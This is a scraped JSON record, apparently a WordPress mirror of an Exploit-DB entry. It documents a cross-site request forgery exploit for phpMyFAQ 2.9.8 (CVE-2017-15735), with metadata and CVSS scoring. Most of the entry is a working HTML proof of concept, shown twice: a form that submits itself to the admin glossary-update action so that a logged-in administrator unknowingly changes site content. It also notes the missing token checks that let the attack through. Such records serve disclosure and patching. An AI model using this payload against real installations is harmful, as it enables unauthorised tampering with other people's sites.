{“lastseen”:”2025-12-03T18:46:49″,”description”:”Exploit Title: phpMyFAQ 2.9.8 Cross-Site Request Forgery CSRF Date: 2024-10-26 Exploit Author: CodeSecLab Vendor Homepage: https:\/\/github.com\/thorsten\/phpMyFAQ Software Link: https:\/\/github.com\/thorsten\/phpMyFAQ Version: 2.9.8 Tested on: Ubuntu Windows…”,”published”:”2025-12-03T00:00:00″,”modified”:”2025-12-03T00:00:00″,”type”:”exploitdb”,”title”:”phpMyFAQ 2.9.8 – Cross-Site Request Forgery (CSRF)”,”source”:””,”references”:””,”id”:”EDB-ID:52458″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2017-15735″],”sourceData”:”# Exploit Title: phpMyFAQ 2.9.8 Cross-Site Request Forgery (CSRF)\\r\\n# Date: 2024-10-26\\r\\n# Exploit Author: CodeSecLab\\r\\n# Vendor Homepage: https:\/\/github.com\/thorsten\/phpMyFAQ\\r\\n# Software Link: https:\/\/github.com\/thorsten\/phpMyFAQ\\r\\n# Version: 2.9.8 \\r\\n# Tested on: Ubuntu Windows\\r\\n# CVE : CVE-2017-15735\\r\\n\\r\\nPoC: \\r\\nWhile still logged in, open another browser window: \\r\\n\\u003chtml\\u003e\\r\\n \\u003cbody\\u003e\\r\\n \\u003cform action=\\”http:\/\/phpmyfaq\/admin\/index.php?action=updateglossary\\” method=\\”POST\\”\\u003e\\r\\n \\u003cinput type=\\”hidden\\” name=\\”id\\” value=\\”1\\”\\u003e\\r\\n \\u003cinput type=\\”hidden\\” name=\\”item\\” value=\\”Malicious Glossary Item\\”\\u003e\\r\\n \\u003cinput type=\\”hidden\\” name=\\”definition\\” value=\\”This is a malicious definition.\\”\\u003e\\r\\n \\u003cinput type=\\”submit\\” value=\\”Submit request\\”\\u003e\\r\\n \\u003c\/form\\u003e\\r\\n \\u003cscript\\u003e\\r\\n document.forms[0].submit();\\r\\n \\u003c\/script\\u003e\\r\\n \\u003c\/body\\u003e\\r\\n\\u003c\/html\\u003e\\r\\n\\r\\nSome Details:\\r\\n{\\r\\n \\”Protection Mechanisms Before Patch\\”: \\”There was no CSRF token validation in place for the glossary modification actions (add, update, delete). The patch introduced CSRF token checks for both POST and GET requests to ensure that only authorized sessions could perform these actions.\\”,\\r\\n \\”File Navigation Chain\\”: \\”Public Access Entry URL -\\u003e phpmyfaq\/admin\/index.php -\\u003e glossary.main.php -\\u003e glossary.edit.php\\”,\\r\\n \\”Execution Path Constraints\\”: \\”The user must be authenticated with the necessary permissions (‘editglossary’) to reach and interact with the glossary functionality through the ‘index.php’ entry point. Without proper authentication, the server redirects to the login form.\\”,\\r\\n \\”Request Parameters\\”: \\”id, item, definition\\”,\\r\\n \\”Request Method\\”: \\”POST\\”,\\r\\n \\”Request URL\\”: \\”http:\/\/phpmyfaq\/admin\/index.php?action=updateglossary\\”,\\r\\n \\”Final PoC\\”: \\”“`\\\\n\\u003chtml\\u003e\\\\n \\u003cbody\\u003e\\\\n \\u003cform action=\\\\\\”http:\/\/phpmyfaq\/admin\/index.php?action=updateglossary\\\\\\” method=\\\\\\”POST\\\\\\”\\u003e\\\\n \\u003cinput type=\\\\\\”hidden\\\\\\” name=\\\\\\”id\\\\\\” value=\\\\\\”1\\\\\\”\\u003e\\\\n \\u003cinput type=\\\\\\”hidden\\\\\\” name=\\\\\\”item\\\\\\” value=\\\\\\”Malicious Glossary Item\\\\\\”\\u003e\\\\n \\u003cinput type=\\\\\\”hidden\\\\\\” name=\\\\\\”definition\\\\\\” value=\\\\\\”This is a malicious definition.\\\\\\”\\u003e\\\\n \\u003cinput type=\\\\\\”submit\\\\\\” value=\\\\\\”Submit request\\\\\\”\\u003e\\\\n \\u003c\/form\\u003e\\\\n \\u003cscript\\u003edocument.forms[0].submit();\\u003c\/script\\u003e\\\\n \\u003c\/body\\u003e\\\\n\\u003c\/html\\u003e\\\\n“`\\”\\r\\n}\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n[Replace Your Domain Name]”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52458″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”baseScore”:8.8,”baseSeverity”:”HIGH”,”attackVector”:”NETWORK”,”attackComplexity”:”LOW”,”privilegesRequired”:”NONE”,”userInteraction”:”REQUIRED”,”scope”:”UNCHANGED”,”confidentialityImpact”:”HIGH”,”integrityImpact”:”HIGH”,”availabilityImpact”:”HIGH”}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52458″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-03T18:46:49″,”description”:”Exploit Title: phpMyFAQ 2.9.8 Cross-Site Request Forgery CSRF Date: 2024-10-26 Exploit Author: CodeSecLab Vendor Homepage: https:\/\/github.com\/thorsten\/phpMyFAQ Software Link: https:\/\/github.com\/thorsten\/phpMyFAQ Version: 2.9.8 Tested on: Ubuntu Windows…”,”published”:”2025-12-03T00:00:00″,”modified”:”2025-12-03T00:00:00″,”type”:”exploitdb”,”title”:”phpMyFAQ…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,40,15,13,7,11,5],"class_list":["post-28482","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n